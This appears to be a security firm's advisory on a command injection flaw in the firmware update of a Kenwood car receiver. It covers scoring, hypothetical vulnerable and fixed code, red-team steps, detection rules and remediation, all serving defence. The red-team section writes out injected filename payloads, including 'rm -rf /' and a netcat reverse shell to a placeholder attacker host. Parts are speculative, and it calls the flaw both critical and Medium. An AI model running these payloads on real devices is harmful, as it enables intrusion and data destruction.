CVE-2025-8650

Executive Summary

CVE-2025-8650 is a critical command injection vulnerability in the Kenwood DMX958XR in-car multimedia receiver. The flaw resides in the libSystemLib library during the firmware update process. An attacker with physical access to the device can inject arbitrary system commands by providing a maliciously crafted string that is not properly validated before being passed to a system call. Successful exploitation allows the attacker to execute arbitrary code with root privileges, leading to full device compromise. The vulnerability has a CVSS score of 6.8 (Medium) and is currently unpatched. No public proof-of-concept (PoC) or exploit code has been released, but the risk is elevated due to the lack of authentication required and the high impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a physical embedded device.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Attack Vector (AV): Physical (AV:P) – The attacker must have physical access to the device.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerability affects only the device.
• Confidentiality (C): High (C:H) – Full access to device data.
• Integrity (I): High (I:H) – Full control over device operations.
• Availability (A): High (A:H) – Potential for denial of service or bricking.

Threat Level: High for physically accessible environments (e.g., car dealerships, repair shops, or vehicles left unattended). The lack of a patch and the root-level access make this a critical risk for affected devices.

Deep Dive & Mechanics

The vulnerability is located in the libSystemLib library, which handles the firmware update process on the Kenwood DMX958XR. During a firmware update, the device accepts a user-supplied string (likely a filename, path, or metadata) that is used in a system call (e.g., system(), exec(), or popen()). The input is not sanitized or validated, allowing an attacker to inject arbitrary shell commands.

Attack Flow:

1. The attacker gains physical access to the device (e.g., via USB, SD card, or the device's touchscreen interface).
2. The attacker initiates a firmware update process, either through the device's menu or by inserting a malicious update file.
3. The attacker provides a crafted string (e.g., a filename containing command injection payloads like ; rm -rf / or $(malicious_command)).
4. The libSystemLib library passes this string to a system call without validation.
5. The injected commands are executed with root privileges, allowing the attacker to install malware, exfiltrate data, or brick the device.

Root Cause: Lack of input validation and use of unsafe system calls in the firmware update routine.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is hypothetical but representative of the flaw.

Vulnerable Code (C/C++):

void process_firmware_update(const char* user_input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "update_tool --file %s", user_input);
    system(cmd);  // Unsafe: user_input can contain shell metacharacters
}

Patched Code (Hypothetical):

void process_firmware_update(const char* user_input) {
    // Validate input: only allow alphanumeric, dots, underscores, and hyphens
    if (!is_valid_filename(user_input)) {
        log_error("Invalid input");
        return;
    }
    // Use execve with sanitized arguments instead of system()
    char* args[] = {"update_tool", "--file", user_input, NULL};
    execve("/usr/bin/update_tool", args, NULL);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Physical access to a Kenwood DMX958XR device.
• A USB drive or SD card formatted with a compatible filesystem (e.g., FAT32).
• Basic knowledge of shell command injection.

Exploitation Steps:

1. Prepare a malicious firmware update file (e.g., update.bin) on a USB drive.
2. Rename the file to include a command injection payload, such as:

   update.bin; touch /tmp/pwned; echo "owned" > /tmp/owned.txt
   

3. Insert the USB drive into the Kenwood device.
4. Navigate to the firmware update menu (typically under Settings > System > Firmware Update).
5. Select the malicious file from the USB drive.
6. The device will execute the injected commands as root.

Alternative Payload (Reverse Shell):

update.bin; nc -e /bin/sh attacker_ip 4444

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defense & Detection)

Defensive Measures:

• Restrict physical access to the device (e.g., lock the vehicle, secure the USB port).
• Monitor for unexpected firmware update attempts.
• Implement network segmentation to limit outbound connections from the device.
• Use endpoint detection and response (EDR) on connected systems if possible.

Detection:

• Monitor logs for unusual system calls or file operations during firmware updates.
• Look for processes spawned by libSystemLib with unexpected arguments.
• Use the Sigma and YARA rules below to detect malicious files or behavior.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; no public PoC)
• Network Indicators:
  • Outbound connections to unknown IPs on ports 4444, 1337, or 31337 (common reverse shell ports).
  • DNS queries to suspicious domains (e.g., malicious-c2.com).
• Host Indicators:
  • Unexpected files in /tmp/ or /data/ directories (e.g., /tmp/pwned, /tmp/owned.txt).
  • Unusual processes running as root (e.g., nc, bash, python).
  • Modified firmware files or unexpected system binaries.
• Behavioral Indicators:
  • Firmware update initiated without a legitimate update file.
  • Repeated attempts to mount USB/SD storage devices.

Detection Engineering

YARA Rule

rule CVE_2025_8650_Kenwood_Command_Injection {
    meta:
        description = "Detects malicious firmware update files targeting CVE-2025-8650"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-8650"
    strings:
        $cmd_inject1 = /;.*(rm|touch|echo|nc|bash|python|sh|wget|curl)/
        $cmd_inject2 = /\$\(.*\)/
        $cmd_inject3 = /`.*`/
        $firmware_ext = ".bin" nocase
    condition:
        $firmware_ext and any of ($cmd_inject*)
}

Sigma Rule

title: CVE-2025-8650 Kenwood DMX958XR Command Injection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects command injection attempts via firmware update on Kenwood DMX958XR
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8650
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/update_tool'
        CommandLine|contains:
            - ';'
            - '|'
            - '&&'
            - '||'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate firmware updates with special characters in filenames (unlikely)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-8650 Kenwood Command Injection - Reverse Shell"; flow:to_server,established; content:"|2f 62 69 6e 2f 73 68|"; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Firmware Update Feature: If possible, disable the firmware update functionality via device settings or by removing the update binary.
2. Physical Security: Restrict physical access to the device. Use lockable enclosures or remove the device when not in use.
3. Network Segmentation: Isolate the device on a separate VLAN with strict egress filtering to prevent outbound connections.

Long-Term Solutions:

• Vendor Patch: Await an official firmware update from Kenwood that properly validates input and uses safe system calls (e.g., execve instead of system).
• Input Validation: Implement strict input validation for all user-supplied strings during firmware updates (allow only alphanumeric characters, dots, underscores, and hyphens).
• Code Review: Conduct a security audit of the libSystemLib library and all system call interfaces.

Workarounds:

• Use a custom firmware that removes the vulnerable functionality (if available).
• Monitor for suspicious activity using the detection rules provided above.

Valters IT
Securing Digital Frontiers